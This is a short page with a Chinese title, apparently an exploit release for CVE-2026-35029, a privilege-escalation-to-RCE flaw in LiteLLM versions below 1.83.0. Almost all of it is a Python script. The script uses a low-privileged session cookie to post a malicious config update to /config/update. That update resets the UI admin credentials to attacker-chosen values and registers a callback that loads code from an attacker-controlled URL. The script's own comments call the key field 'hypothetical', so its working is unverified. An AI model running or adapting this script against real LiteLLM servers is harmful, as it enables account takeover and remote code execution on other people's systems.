CVE-2026-35029 LiteLLM权限提升导致远程代码执行漏洞

import requests # Exploit for CVE-2026-35029: LiteLLM Config Update RCE # Target: LiteLLM < 1.83.0 TARGET_URL = "http://target-litellm-host:8000/config/update" ATTACKER_PAYLOAD_URL = "http://attacker-server.com/malicious_payload.py" # Attacker needs a valid session cookie (low-privileged user) COOKIE = {"_llm_user_token": "valid_low_priv_user_token"} # Malicious configuration to achieve RCE via custom passthrough handler # This payload attempts to register a handler that loads remote code malicious_config = { "environment_variables": [ { "key": "UI_USERNAME", "value": "hacker" }, { "key": "UI_PASSWORD", "value": "pwned" } ], "litellm_settings": { # Hypothetical field to register custom handler based on vuln description "custom_callback": ATTACKER_PAYLOAD_URL } } try: print("[+] Sending malicious config update request...") response = requests.post(TARGET_URL, json=malicious_config, cookies=COOKIE, timeout=10) if response.status_code == 200: print("[+] Configuration updated successfully!") print("[+] Check if UI_PASSWORD changed or RCE triggered.") else: print(f"[-] Request failed: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")